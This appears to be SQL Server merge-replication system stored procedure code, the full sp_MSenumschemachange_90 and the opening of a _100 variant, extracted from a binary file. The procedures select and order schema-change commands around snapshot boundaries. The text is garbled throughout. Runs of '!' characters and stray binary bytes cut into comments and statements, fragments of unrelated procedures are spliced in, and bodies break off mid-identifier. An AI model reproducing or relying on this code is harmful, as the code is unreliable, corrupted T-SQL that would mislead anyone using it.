           and schematype not in (25, 50, 51, 52, 53, 54, 55, 56, 57, 58)
           and schematype not in (131, 132) -- dynamic bcp commands
                   and schematype not in (46, 11, 13) -- The on-demand script and schema replication commands should not be enumerated unless 
                                                                          -- we have made sure that it was posted after the current snapshot.
                   and pubid = @pubid
                 order by schemaversion                    

                -- get the schemaversion of the snapshot trailer row
                select @schemaversion_of_snapshottrailer = schemaversion from sysmergeschemachange 
                        where schemaversion > @schemaversion 
                        and pubid = @pubid
                        and schematype = 52 

                if (@schemaversion_of_snapshottrailer is not null)
                begin
                        -- insert schema changes for on-demand script and schema replication commands which have schemaversion greater than
                        -- schemaversion of the snapshot trailer row
                        insert into #schemachanges 
                        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                        from sysmergeschemachange where schemaversion > @schemaversion_of_snapshottrailer 
                        and schematype in (46, 11, 13) -- The on-demand script and schema replication commands only.
                        and pubid = @pubid
                        order by schemaversion
        end
                    
                declare @endofsnapshot int
        select @endofsnapshot = min(seqno) from #schemachanges 
        where schematype = 52
        delete #schemachanges where seqno > @endofsnapshot
            and (schematype in (2, 3, 4, 10, 15, 20, 7, 40, 45, 65) or 
            schematype in (25, 50, 51, 52, 53, 54, 55, 56, 57, 58))

                --only list the last reinitall command 
                delete schemachanges1 from #schemachanges schemachanges1,#schemachanges schemachanges2 
                        where schemachanges1.pubid=@pubid and schemachanges1.schematype=12 and 
                                  schemachanges2.pubid=@pubid and schemachanges2.schematype=12 and
                                  schemachanges1.schemaversion<schemachanges2.schemaversion
                
                --only list the last reinitall-with-upload command 
                delete schemachanges1 from #schemachanges schemachanges1, #schemachanges schemachanges2 
                        where schemachanges1.pubid=@pubid and schemachanges1.schematype=14 and 
                                  schemachanges2.pubid=@pubid and schemachanges2.schematype=14 and
                                  schemachanges1.schemaversion<schemachanges2.schemaversion

        -- Remove Yukon specific schematypes
        -- Remove Katmai specific schematypes
        -- 71 Dynamic snapshot validation token
        delete #schemachanges where schematype in (71, 80, 81, 82, 83, 84, 85, 88, 89, 90, 91, 92, 93, 96, 31, 208, 209, 210, 211, 212, 213, 17, 105)

        -- Some schematypes that are distinct in Yukon used to have wrong number pre-Shiloh.
        -- Map them back to the old values.
        update #schemachanges set schematype=8 where schematype in (21,23)
        update #schemachanges set schematype=9 where schematype = 18

        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from #schemachanges order by seqno

        drop table #schemachanges
    end

        return (0)
,X,ls_cursor_opened = 1
    begin
        close hSymbols
    end
    if @symbols_cursor_allocated = 1
    begin
        deallocate hSymbols
    end     
    drop table #view_defs_and_syms    
    drop table #creation_order
    rollback transaction sp_MSmakedynsnapshotartvws
    commit transaction    
    return 1
end
`<`ange
        end
    end

    return 0

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!B`<(xvcreate procedure sys.sp_MSenumschemachange_90(
    @pubid                 uniqueidentifier,
    @AlterTableOnly        int,
    @schemaversion         int,
    @invalidateupload_schemachanges_for_ssce bit = 0,
    @filter_skipped_schemachanges bit = 0 -- do not return schema changes with schemastatus = 2
    )
as
begin
    set nocount on
    /*
    ** To public
    */
    declare @SCHEMA_TYPE_ALTERTABLE                     int
    declare @SCHEMA_TYPE_REINITALL                      int
    declare @SCHEMA_TYPE_NONSQLALTERTABLE       int
    declare @SCHEMA_TYPE_REINITWITHUPLOAD       int
    declare @SCHEMA_TYPE_DDL_ACTIONS            int
    declare @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP int
    declare @SCHEMA_TYPE_ARTICLEPROCESSINGORDER     int
    declare @SCHEMA_TYPE_DROPARTICLE        int
    declare @SCHEMA_TYPE_USER_DEFINED_DATA_TYPE     int
    declare @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE int
    declare @SCHEMA_TYPE_ASSEMBLY               int
    declare @SCHEMA_TYPE_PARTITIONSCHEME    int
    declare @SCHEMA_TYPE_PARTITIONFUNCTION  int
    declare @SCHEMA_TYPE_XMLSCHEMANAMESPACE int
    declare @SCHEMA_TYPE_FULLTEXTCATALOG        int
    declare @SCHEMA_TYPE_SYNONYM            int
    declare @SCHEMA_TYPE_USER_SCHEMA            int
    declare @schemaversion_of_snapshottrailer int    
    declare @desired_schema_status tinyint

    set @SCHEMA_TYPE_ALTERTABLE                 = 11
    set @SCHEMA_TYPE_REINITALL                  = 12
    set @SCHEMA_TYPE_NONSQLALTERTABLE           = 13
    set @SCHEMA_TYPE_REINITWITHUPLOAD           = 14
    set @SCHEMA_TYPE_ARTICLEPROCESSINGORDER     = 22
    set @SCHEMA_TYPE_DROPARTICLE                = 28
    set @SCHEMA_TYPE_USER_DEFINED_DATA_TYPE     = 88
    set @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE = 89
    set @SCHEMA_TYPE_ASSEMBLY                   = 90
    set @SCHEMA_TYPE_PARTITIONSCHEME            = 91
    set @SCHEMA_TYPE_PARTITIONFUNCTION          = 92
    set @SCHEMA_TYPE_XMLSCHEMANAMESPACE         = 93
    set @SCHEMA_TYPE_FULLTEXTCATALOG            = 96  
    set @SCHEMA_TYPE_SYNONYM                    = 100
    set @SCHEMA_TYPE_DDL_ACTIONS                = 300
    set @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP   = 301
    set @SCHEMA_TYPE_USER_SCHEMA                = 31
    
    if (@schemaversion is null)
    begin
        RAISERROR(14043, 16, -1, '@schemaversion', 'sp_MSenumschemachange_90')
        return (1)
    end

        --  @schema_needed = 0 - only send back reinitall command, if any 
        --  @schema_needed = 1 - normal enumeration
        --  @schema_needed = 2 - only send back alter-table command, if any
        --  @schema_needed = 3 - only send back reinitall-with-upload command, if any.

    if (@AlterTableOnly = 1)
    begin
        if 0=@invalidateupload_schemachanges_for_ssce
        begin
            select pubid, artid, schemaversion, schemaguid, schematype, schematext
                from dbo.sysmergeschemachange 
                where pubid=@pubid and 
                      schemaversion > @schemaversion and 
                      schematype in (
                                        @SCHEMA_TYPE_ALTERTABLE,
                                        @SCHEMA_TYPE_NONSQLALTERTABLE,
                                        @SCHEMA_TYPE_DDL_ACTIONS,
                                        @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP,                                    
                                        @SCHEMA_TYPE_DROPARTICLE
                                    )
                       and schemastatus < case @filter_skipped_schemachanges when 1 then 2 else 3 end
        end
        else
        begin
            select pubid, artid, schemaversion, schemaguid, schematype, schematext
                from dbo.sysmergeschemachange 
                where pubid=@pubid and 
                      schemaversion > @schemaversion and 
                      schematype in (
                                        @SCHEMA_TYPE_ALTERTABLE,
                                        @SCHEMA_TYPE_NONSQLALTERTABLE,
                                        @SCHEMA_TYPE_DDL_ACTIONS,
                                        @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP,
                                        @SCHEMA_TYPE_ARTICLEPROCESSINGORDER,

                                        -- SCHEMA_TYPE_DROPARTICLE is here because an article might have
                                        -- been dropped, DDL on the article happened, then article was
                                        -- readded. Thus, SSCE upload needs to be rejected, as otherwise
                                        -- it might contain DML based on old schema.
                                        @SCHEMA_TYPE_DROPARTICLE
                                    )
                       and schemastatus < case @filter_skipped_schemachanges when 1 then 2 else 3 end
        end
    
        return (0)          
    end
        
    if exists (select * from dbo.sysmergeschemachange where 
        pubid=@pubid and ((schemaversion > @schemaversion and schematype = @SCHEMA_TYPE_REINITALL)
        or (schemaversion > @schemaversion and schematype = @SCHEMA_TYPE_REINITWITHUPLOAD)))
    begin
        select @schemaversion=0
    end


    if @filter_skipped_schemachanges = 1            
        select @desired_schema_status = 2 
    else 
        select @desired_schema_status = 3

    if (@schemaversion > 0) 
    begin
        -- Subscriber has already received the snapshot so filter out 
        -- the pre/post-snapshot commands. 
        -- If @schemaversion > 0, there are two main cases that we need to 
        -- consider: 
        -- i) There are incremental article commands such as bcp/schema 
        --    commands that need to be applied within a "fake" snapshot 
        --    boundary
        -- ii) There is no incremental article commands, schema changes can be
        --     applied "normally"
        declare @min_incremental_schemaversion int
        declare @max_incremental_schemaversion int

        select @min_incremental_schemaversion = null

        -- min and max should be different because with min we don't look at schema type 48 (*.prc files)
        -- whereas with max we should include that.
            -- normal snapshot commands excluding pre/post snapshot commands
            -- and system tables commands
            -- the incremental add article commands will have a non null artid. The below clause is to avoid incorrect
            -- application of snapshot on upgrade since yukon has new 90 schemachange commands.
        select @min_incremental_schemaversion = min(schemaversion)
          from dbo.sysmergeschemachange where schemaversion > @schemaversion
           and pubid = @pubid 
           and schematype in (2, 3, 4, 61, 62, 63, 64, 131, 132, 10, 15, 65, 88, 89, 90, 91, 92, 93, 96, 100, 31)
           and (artid is NULL or 
                artid in (select artid from dbo.sysmergearticles where pubid = @pubid) or
                artid in (select artid from dbo.sysmergeschemaarticles where pubid = @pubid)) 
           
        select @max_incremental_schemaversion = max(schemaversion)
          from dbo.sysmergeschemachange where schemaversion > @schemaversion
           and pubid = @pubid 
           and schematype in (2, 3, 4, 61, 62, 63, 64, 131, 132, 10, 15, 65, 88, 89, 90, 91, 92, 93, 96, 100, 31, 48)
           and (artid is NULL or 
                artid in (select artid from dbo.sysmergearticles where pubid = @pubid) or
                artid in (select artid from dbo.sysmergeschemaarticles where pubid = @pubid))

        if @min_incremental_schemaversion is not null
        begin

            -- case i), we have incrementally added articles

            -- Need to save off the schemaguid of the max incremental change
            -- for labelling the trailer. This is to prevent th!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Q[ve schema 
            -- validation logic from raising false alarm saying that the
            -- publisher is restored from a backup
            declare @max_incremental_schemaguid uniqueidentifier            
            select @max_incremental_schemaguid = schemaguid 
              from dbo.sysmergeschemachange 
             where schemaversion = @max_incremental_schemaversion
               and pubid = @pubid               
                
            declare @incremental_schematype_bit int
            select @incremental_schematype_bit = 1024


            select pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
            from 
            (
            -- Insert every thing before @min_incremental_schemaversion but
            -- after @schemaversion
            -- Note: Excluded list should include all snapshot header, trailer commands
            select 10 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion > @schemaversion
               and schemaversion < @min_incremental_schemaversion 
               and pubid = @pubid
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 60, 25, 5, 6, 71, 80, 81, 82, 83, 84, 85)
               and schemastatus < @desired_schema_status
            -- Incremental snapshot header
            -- Header begins
            union all
            select 20 as schema_type_group, pubid, artid, @min_incremental_schemaversion, schemaguid, schematype | @incremental_schematype_bit,  schematext, schemastatus 
              from dbo.sysmergeschemachange
             where pubid = @pubid
               and schematype = 50
               and schemastatus < @desired_schema_status

            -- Header content
            union all
            select 30 as schema_type_group, pubid, artid, @min_incremental_schemaversion, schemaguid, schematype | @incremental_schematype_bit,  schematext, schemastatus
              from dbo.sysmergeschemachange
             where pubid = @pubid
               and schematype in (25, 53, 54, 55, 56, 57, 58)
               and schemastatus < @desired_schema_status

            -- Header ends
            union all
            select 40 as schema_type_group, pubid, artid, @min_incremental_schemaversion, schemaguid, schematype | @incremental_schematype_bit,  schematext, schemastatus
             from dbo.sysmergeschemachange
            where pubid = @pubid
              and schematype = 51
               and schemastatus < @desired_schema_status

            -- Add everything between max and min and maintain ordering
            union all
            select 50 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype in (@SCHEMA_TYPE_USER_SCHEMA)
               and schemastatus < @desired_schema_status

            -- Add everything between max and min and maintain ordering
            union all
            select 55 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype in (@SCHEMA_TYPE_PARTITIONFUNCTION)
               and schemastatus < @desired_schema_status

            -- Add everything between max and min and maintain ordering
            union all
            select 60 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype in (@SCHEMA_TYPE_ASSEMBLY, @SCHEMA_TYPE_PARTITIONSCHEME)
               and schemastatus < @desired_schema_status
               
            -- Add everything between max and min and maintain ordering
            union all
            select 70 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype in (@SCHEMA_TYPE_USER_DEFINED_DATA_TYPE, @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE, @SCHEMA_TYPE_XMLSCHEMANAMESPACE, @SCHEMA_TYPE_FULLTEXTCATALOG)
               and schemastatus < @desired_schema_status

            -- Add everything between max and min and filter out things
            -- we didn't want before in the normal case
            -- Note: Excluded list should include all snapshot header, trailer commands
            union all
            select 80 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71)
               and schemastatus < @desired_schema_status

            -- Incremental snapshot trailer
            union all
            select 90 as schema_type_group, pubid, artid, @max_incremental_schemaversion, @max_incremental_schemaguid, schematype | @incremental_schematype_bit,  schematext, schemastatus
              from dbo.sysmergeschemachange 
             where pubid = @pubid
               and schematype = 52
               and schemastatus < @desired_schema_status

            -- Add everything after the incremental article commands
            -- Note: Excluded list should include all snapshot header, trailer commands
            union all
            select 100 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion > @max_incremental_schemaversion
               and pubid = @pubid 
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71, 80, 81, 82, 83, 84, 85)
               and schemastatus < @desired_schema_status

            ) as incremental_schema_changes
            order by schema_type_group, schemaversion           

            -- Remove Katmai specific schematypes                       
            	 -- SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE          = 105
            delete from incremental_schema_changes where schematype in (105)

        end
        else
        begin
            -- case ii)
            -- Also filter out the schemtypes for the setlastsentgen (5) and setlastrecgen (6)
            -- This ensures that the subscriber does not apply these schema changes when 
            -- it applies incremental schema - ie the perf optimization that is implemented 
            -- by setting last sent/rec generation should be done only for brand new subscriptions.
            -- Need to remove dynamic snapshot validation command too.
            -- Note: Excluded list should include all snapshot header, trailer commands
            select pubid, artid, schemaversion, schemaguid, schematype, schematext
              from dbo.sysmergeschemachange where schemaversion > @schemaversion  
               and pubid = @pubid
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71, 80, 81, 82, 83!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(?IG5v, 84, 85)
               -- filter out article or system table bcp commands. These can only be present if an incrementally
               -- added article was present. In that case it should have entered the above if block and should not get to
               -- this else block. The following is there to take care of the upgrade scenario.
               -- 17 is compute rec gen command which also be present only when applying the entire snapshot
               -- 48 is the file that contains the merge stored procedures, do not enumerate it
               and schematype not in (3, 4, 131, 132, 10, 15, 17, 48)
		 -- Remove Katmai specific schematypes                       
            	   -- SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE          = 105
            	 and schematype not in (105)
               and schemastatus < @desired_schema_status
           order by schemaversion 
        end
    end
    Else 
    begin
        declare @snapshot_trailer_schemaversion int

        select @schemaversion_of_snapshottrailer = min(schemaversion) from dbo.sysmergeschemachange 
            where schemaversion > @schemaversion 
            and pubid = @pubid
            and schematype = 52 
    
        -- Subscriber requires a snapshot, so carefully sequence the 
        -- pre/post-snapshot commands around the snapshot boundary
        
        select pubid, artid, schemaversion, schemaguid, schematype,  schematext
        from
        (
        -- select snapshot header 
        -- Header begins
        select 10 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 50
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status
           
        -- Header content
        union all
        select 20 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (25, 53, 54, 55, 56, 57, 58) 
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Header ends
        union all
        select 30 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 51 
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- End of snapshot header 
        -- Insert pre command
        union all
        select 40 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 40 
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Dynamic snapshot validation token processing command, if there is 
        -- one
        union all
        select 50 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 71
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- insert the presnapshot script command
        union all
        select 60 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (60, 67)
           and schemastatus < @desired_schema_status

        -- insert the drop mergearticle command
        union all
        select 70 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = @SCHEMA_TYPE_DROPARTICLE
           and schemastatus < @desired_schema_status
        
        -- Exclude pre-post, but include snapshot only commands
        union all
        select 80 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (@SCHEMA_TYPE_USER_SCHEMA)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Exclude pre-post, but include snapshot only commands
        union all
        select 85 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (@SCHEMA_TYPE_PARTITIONFUNCTION)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Exclude pre-post, but include snapshot only commands
        union all
        select 90 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (@SCHEMA_TYPE_ASSEMBLY, @SCHEMA_TYPE_PARTITIONSCHEME)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Exclude pre-post, but include snapshot only commands
        union all
        select 100 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (@SCHEMA_TYPE_USER_DEFINED_DATA_TYPE, @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE, @SCHEMA_TYPE_XMLSCHEMANAMESPACE, @SCHEMA_TYPE_FULLTEXTCATALOG)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status
         
        -- DIRECTORY
        union all
        select 110 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (7)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- object creation schema types (sch files)
        union all
        select 112 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, processing_order
          from (
                -- get processing order from sysmergearticles where artid=artid
                select sms.pubid, sms.artid, sms.schemaversion, sms.schemaguid, sms.schematype, sms.schematext, sms.schemastatus, sma.processing_order                
                from dbo.sysmergeschemachange sms JOIN dbo.sysmergearticles sma ON sms.artid = sma.artid and sms.pubid = sma.pubid
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(tv
                where sms.schemaversion > @schemaversion 
                   and sms.pubid = @pubid
                   and sms.schematype in (2, 61, 62, 63, 64, 100)
                   and sms.schemaversion < @schemaversion_of_snapshottrailer
                   and sms.schemastatus < @desired_schema_status

                -- get processing order from sysmergearticles where artid=munged artid
                union all
                select sms.pubid, sms.artid, sms.schemaversion, sms.schemaguid, sms.schematype, sms.schematext, sms.schemastatus, sma.processing_order                
                from dbo.sysmergeschemachange sms JOIN dbo.sysmergearticles sma 
                    ON substring(convert(binary(16), sms.artid),5,4) = convert(binary(4), sma.objid) and
                       substring(convert(binary(16), sms.artid),0,5) = 0x00000000 and sms.pubid = sma.pubid
                where sms.schemaversion > @schemaversion 
                   and sms.pubid = @pubid
                   and sms.schematype in (2, 61, 62, 63, 64, 100)
                   and sms.schemaversion < @schemaversion_of_snapshottrailer
                   and sms.schemastatus < @desired_schema_status

                -- get processing order from sysmergeschemaarticles where artid= artid
                union all
                select sms.pubid, sms.artid, sms.schemaversion, sms.schemaguid, sms.schematype, sms.schematext, sms.schemastatus, smsa.processing_order                
                from dbo.sysmergeschemachange sms JOIN dbo.sysmergeschemaarticles smsa ON sms.artid = smsa.artid and sms.pubid = smsa.pubid
                where sms.schemaversion > @schemaversion 
                   and sms.pubid = @pubid
                   and sms.schematype in (2, 61, 62, 63, 64, 100)
                   and sms.schemaversion < @schemaversion_of_snapshottrailer
                   and sms.schemastatus < @desired_schema_status

                -- get processing order from sysmergeschemaarticles where artid= munged artid
                union all
                select sms.pubid, sms.artid, sms.schemaversion, sms.schemaguid, sms.schematype, sms.schematext, sms.schemastatus, smsa.processing_order                
                from dbo.sysmergeschemachange sms JOIN dbo.sysmergeschemaarticles smsa 
                    ON substring(convert(binary(16), sms.artid),5,4) = convert(binary(4), smsa.objid) and
                       substring(convert(binary(16), sms.artid),0,5) = 0x00000000 and sms.pubid = smsa.pubid
                where sms.schemaversion > @schemaversion 
                   and sms.pubid = @pubid
                   and sms.schematype in (2, 61, 62, 63, 64, 100)
                   and sms.schemaversion < @schemaversion_of_snapshottrailer
                   and sms.schemastatus < @desired_schema_status
                   ) as processing_order_specific_schemas
                   

        -- BCP commands
        union all
        select 114 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (3, 4, 80, 81, 82, 83, 84, 85)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Dynamic BCP commands
        union all
        select 120 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (131, 132, 208, 209, 210, 211, 212, 213)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status
        
        -- Trg/XPROP/DRI/MERGE Procs
        union all
        select 130 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (10,15,65,48)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Insert post command
        union all
        select 140 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 45 
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Insert snapshot trailer
        union all
        select 150 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 52 
           and schemaversion = @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status
        
        -- Insert other schema changes
        union all
        select 160 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and schematype not in (2, 3, 4, 10, 15, 7, 40, 45, 60, 80, 81, 82, 83, 84, 85, 88, 89, 90, 91, 92, 93, 96, 31, 48)
           and schematype not in (61, 62, 63, 64, 65, 71, 100)
           and schematype not in (25, 50, 51, 52, 53, 54, 55, 56, 57, 58)
           and schematype not in (131, 132, 208, 209, 210, 211, 212, 213) -- dynamic bcp commands
           and schematype not in (46, 11, 13, 300, 301) -- The on-demand script and schema replication commands should not be enumerated unless 
                                                        -- we have made sure that it was posted after the current snapshot.
           and schematype not in (@SCHEMA_TYPE_DROPARTICLE)
           and schematype not in (12, 14) -- we are skipping the reinit type commands here and we will insert it seperately. This is so that we only select the reinit commands with the highest schemaversion
           and pubid = @pubid
           and schemastatus < @desired_schema_status

        -- reinit type commands
        union all
        select top 1 170 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 12 
           and schemastatus < @desired_schema_status
           order by schemaversion desc

        -- reinit with upload type commands
        union all
        select top 1 170 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 14
           and schemastatus < @desired_schema_status
           order by schemaversion desc

        -- The on-demand script and schema replication commands only that are greater than the snapshot trailer if one exists.
        union all
        select 190 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype, schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange
            where schemaversion > @schemaversion_of_snapshottrailer
            and schematype in (46, 11, 13, 300, 301)
            and pubid = @pubid
           and schemastatus < @desired_schema_s!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Qv:create procedure sys.sp_MSenumschemachange_100(
    @pubid                 uniqueidentifier,
    @AlterTableOnly        int,
    @schemaversion         int,
    @invalidateupload_schemachanges_for_ssce bit = 0,
    @filter_skipped_schemachanges bit = 0 -- do not return schema changes with schemastatus = 2
    )
as
begin
    set nocount on
    /*
    ** To public
    */
    declare @SCHEMA_TYPE_ALTERTABLE                     int
    declare @SCHEMA_TYPE_REINITALL                      int
